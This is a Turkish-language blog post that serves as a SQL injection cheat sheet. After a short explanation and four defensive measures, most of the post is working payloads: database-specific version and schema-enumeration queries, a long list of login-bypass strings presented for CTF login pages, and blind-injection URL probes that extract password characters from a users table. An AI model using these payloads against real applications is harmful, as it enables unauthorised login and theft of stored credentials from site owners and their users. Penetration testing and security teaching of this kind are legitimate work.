SQL Injection Cheat Sheet [TR]

Fatih T. tarafından yayımlandı

SQL Injection Nedir?

SQL enjeksiyonu (SQLi), uygulamaların veri tabanını kontrol etmelerine, verilere erişmelerine veya silmelerin imkan tanıyan güvenlik zafiyetidir. SQL enjeksiyonları, veri güvenliğine yönelik en sık görülen tehditler arasındadır.

Saldırganlar SQL Zafiyetlerinden Nasıl Yararlanır?

Saldırgan kimse, uygulamanın veri tabanından yürütmek istediği SQL sorgularını; özel olarak hazırlanmış SQL cümleleri ile "SQL engine" yani SQL motorunu manipüle ederek sağlar.

Örneğin, bir uygulamada kullanıcı adı ve şifre olmadan oturum açmak için veri tabanı motorunu kandıran SQL cümlelerini kullanır.

Verileri yetkisiz olarak değiştirebilir, sahte kayıtlar oluşturur, kullanıcıları ekleyerek veya kullanıcıları daha yüksek erişim düzeylerine yükseltebilir.
Verilere erişim izni olmadan erişebilir.

SQL Injection Ataklarına Karşı Savunma Yöntemleri

Uygulamalarda SQL injection zafiyetinden kaçınmanın kolay yolları vardır.

1. Hem statik hem de dinamik test kullanarak uygulamalarınızı rutin olarak test ederek SQL injection zafiyetlerini keşfedin.
2. Parametreli sorgular kullanarak SQL injection zafiyetlerini korunabilirsiniz.
3. Kullanıcıdan alınan en girdi değerini yazılımsal olarak kontrol ederek işleme sokun.
4. Her uygulamanın kendi veritabanı kimlik bilgilerine sahip olduğundan ve bu kimlik bilgilerinin uygulamanın ihtiyaç duyduğu minimum haklara sahip olduğundan emin olun.

Artık burada penetrasyon testlerinde kullanabileceğimiz bazı SQL injection yöntemlerini toplamaya çalıştım. Buradaki çoğu örnekleri yaptığım araştırmalar sonucunda buldum ve topladım. Gerekli yerlerde bırakacağım linkler sayesinde daha detaylı bilgiler edinebilirsiniz.

String(Dize) Birleştirme:

Aşağıdaki yöntemlerde string birleştirme işlemlerini veritabanı üzerinde nasıl yapabileceğimizi görebilirsiniz.

- ***Oracle*** → 'foo'||'bar'
- ***PostgreSQL*** → 'foo'||'bar'
- ***MySQL*** → 'foo' 'bar' veya CONCAT('foo','bar')

Yorum Satırları:

Buradaki bilgiler ile SQL injection deneyeceğiniz veritabanında nasıl yorum satırı bırakacağınızı bilmek sizler için hayati önem taşımaktadır.

- ***Oracle*** → — comment
- ***PostgreSQL*** → — comment
- ***MySQL*** → #comment veya — comment

Veritabanı Versiyonunu Öğrenme:

Veritabanı versiyonunu öğrenmek bazen kritik önem taşımaktadır. Bunun için kullanılan veritabanına göre aşağıdaki işlemler kullanılabilir.

- ***Oracle*** → SELECT banner FROM v$version
- ***Oracle*** →SELECT version FROM v$instance
- ***PostgreSQL*** → SELECT version()
- ***MySQL*** → SELECT @@version

Veritabanında Bulunan Tablolar Hakkında Bilgi Edinme:

Veritabanında bulunan tabloları ve bu tabloların içerdiği sütunları listelemek isteyebiliriz.

- ***Oracle*** → SELECT * FROM all_tables
- ***Oracle*** → SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
- ***PostgreSQL*** → SELECT * FROM information_schema.tables
- ***PostgreSQL*** → SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- ***MySQL*** → SELECT * FROM information_schema.tables
- ***MySQL*** → SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Buraya kadar anlattığım kısımda veri tabanında yapılabilecek işlemlerin kısa bir özetini göstermek istedim. Ama siz daha fazla bilgi edinmek isterseniz, benim faydalandığım kaynağa ***buradan*** ulaşabilirsiniz.

Login Sayfaları İçin Kullanabileceğimiz SQL Injection Metodları:

Genelde CTF yarışmalarında karşımıza çıkan "Login Page" sayfalarında kullanıcı adı ve şifre değeri girmeden aşağıdaki SQL yanıltmaları kullanılabilir. Sonuçta girilen kullanıcı adı ve şifre değerleri SQL motoruna gider ve burada değerlendirmeye alınır. Eğer biz bu SQL motorunu manipüle edebilirsek doğru kullanıcı adı ve şifre değerlerini girmeden de "login" işlemini başarabiliriz. Bunun için kullanılan en genel yöntemler aşağıdakiler gibidir.

- admin' —
- admin' #
- admin'/*
- ' or 1=1 —

- ‘ or 1=1#
- ‘ or 1=1/*
- ‘) or ‘1’=’1 —
- ‘) or (‘1’=’1 —
- ‘-’
- ‘ ‘
- ‘&’
- ‘^’
- ‘*’
- ‘ or 1=1 limit 1 —+
- ‘=”or’
- ‘ or ‘’-’
- ‘ or ‘’ ‘
- ‘ or ‘’&’
- ‘ or ‘’^’
- ‘ or ‘’*’
- ‘-||0’
- “-||0”
- “-”
- “ “
- “&”
- “^”
- “*”
- ‘ — ‘
- “ — “
- ‘ — ‘ / “ — “
- “ or “”-”
- “ or “” “
- “ or “”&”
- “ or “”^”
- “ or “”*”
- or true —
- “ or true —
- ‘ or true —
- “) or true —
- ‘) or true —
- ‘ or ‘x’=’x
- ‘) or (‘x’)=(‘x
- ‘)) or ((‘x’))=((‘x
- “ or “x”=”x
- “) or (“x”)=(“x
- “)) or ((“x”))=((“x
- or 2 like 2
- or 1=1
- or 1=1 —
- or 1=1#
- or 1=1/*
- admin’ —
- admin’ —
- admin’ #
- admin’/*
- admin’ or ‘2’ LIKE ‘1
- admin’ or 2 LIKE 2 —

- admin’ or 2 LIKE 2#
- admin’) or 2 LIKE 2#
- admin’) or 2 LIKE 2 —
- admin’) or (‘2’ LIKE ‘2
- admin’) or (‘2’ LIKE ‘2’#
- admin’) or (‘2’ LIKE ‘2’/*
- admin’ or ‘1’=’1
- admin’ or ‘1’=’1′ —
- admin’ or ‘1’=’1’#
- admin’ or ‘1’=’1’/*
- admin’or 1=1 or ‘’=’
- admin’ or 1=1
- admin’ or 1=1 —
- admin’ or 1=1#
- admin’ or 1=1/*
- admin’) or (‘1’=’1
- admin’) or (‘1’=’1′ —
- admin’) or (‘1’=’1’#
- admin’) or (‘1’=’1’/*
- admin’) or ‘1’=’1
- admin’) or ‘1’=’1′ —
- admin’) or ‘1’=’1’#
- admin’) or ‘1’=’1’/*
- 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’,
- admin” —
- admin’; — azer
- admin” #
- admin”/*
- admin” or “1”=”1
- admin” or “1”=”1″ —
- admin” or “1”=”1″#
- admin” or “1”=”1″/*
- admin”or 1=1 or “”=”
- admin” or 1=1
- admin” or 1=1 —
- admin” or 1=1#
- admin” or 1=1/*
- admin”) or (“1”=”1
- admin”) or (“1”=”1″ —
- admin”) or (“1”=”1″#
- admin”) or (“1”=”1″/*
- admin”) or “1”=”1
- admin”) or “1”=”1″ —
- admin”) or “1”=”1″#
- admin”) or “1”=”1″/*

Blind Injection Adımları:

Bazen web sayfalarının “url” kısmında da SQL injection denemeleri yapılabilir.

Örneğin zafiyetli sitemizin adresi aşağıdaki gibi olsun:

hxxp://site/page.php?id=1

1. Siteden bazen aşağıdaki yöntemler ile manipüle edilebilir.

   hxxp://site/page.php?id=1 AND 1=1

   hxxp://site/page.php?id=1 AND 1=2

2) Versiyon kontrolü aşağıdaki yöntemler ile yapılabilir.

   hxxp://site/page.php?id=1 AND substring(version(),1,1)=4
   hxxp://site/page.php?id=1 AND substring(version(),1,1)=5

3) MySQL veri tabanı için aşağıdaki kontroller yapılabilir.

- hxxp://site/page.php?id=1 AND (select 1)=1
- hxxp://site/page.php?id=1 AND (select 1 from admin limit 0,1)=1
- hxxp://site/page.php?id=1 AND (select 1 from users limit 0,1)=1
- hxxp://site/page.php?id=1 AND (select substring(concat(1,pass),1,1) from users limit 0,1)=1
- hxxp://site/page.php?id=1 AND (select substring(concat(1,password),1,1) from users limit 0,1)=1

Buraya kadar elimden geldiğince çok fazla kullanabileceğiniz SQL injection örneklerine yer vermeye çalıştım. Ama tabi ki de yeterli değildir. Ben aşağı kısma faydalanabileceğiniz bazı kaynakların linklerini paylaşacağım. Daha fazla bilgi edinmek isteyen arkadaşlar buradan yararlanabilirler.

Umarım sizler için faydalı olmuştur. Soru, görüş ve geri bildirimleriniz için **fatihturgutegitim@gmail.com** adresine mail atabilirsiniz.

Ayrıca bana linkedin üzerinden de ulaşabilirsiniz. Okuyan herkese teşekkür eder sağlıklı günler dilerim. Bir sonraki yazımda görüşmek üzere...

1. http://garage4hackers.com/showthread.php?t=1990
2. https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
3. https://medium.com/@ismailtasdelen/sql-injection-payload-list-b97656cfd66b
4. https://namesnaw.files.wordpress.com/2018/08/sql_injection_cheat_sheet.pdf
5. https://github.com/payloadbox/sql-injection-payload-list
6. https://sechow.com/bricks/docs/login-1.html
7. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
8. https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/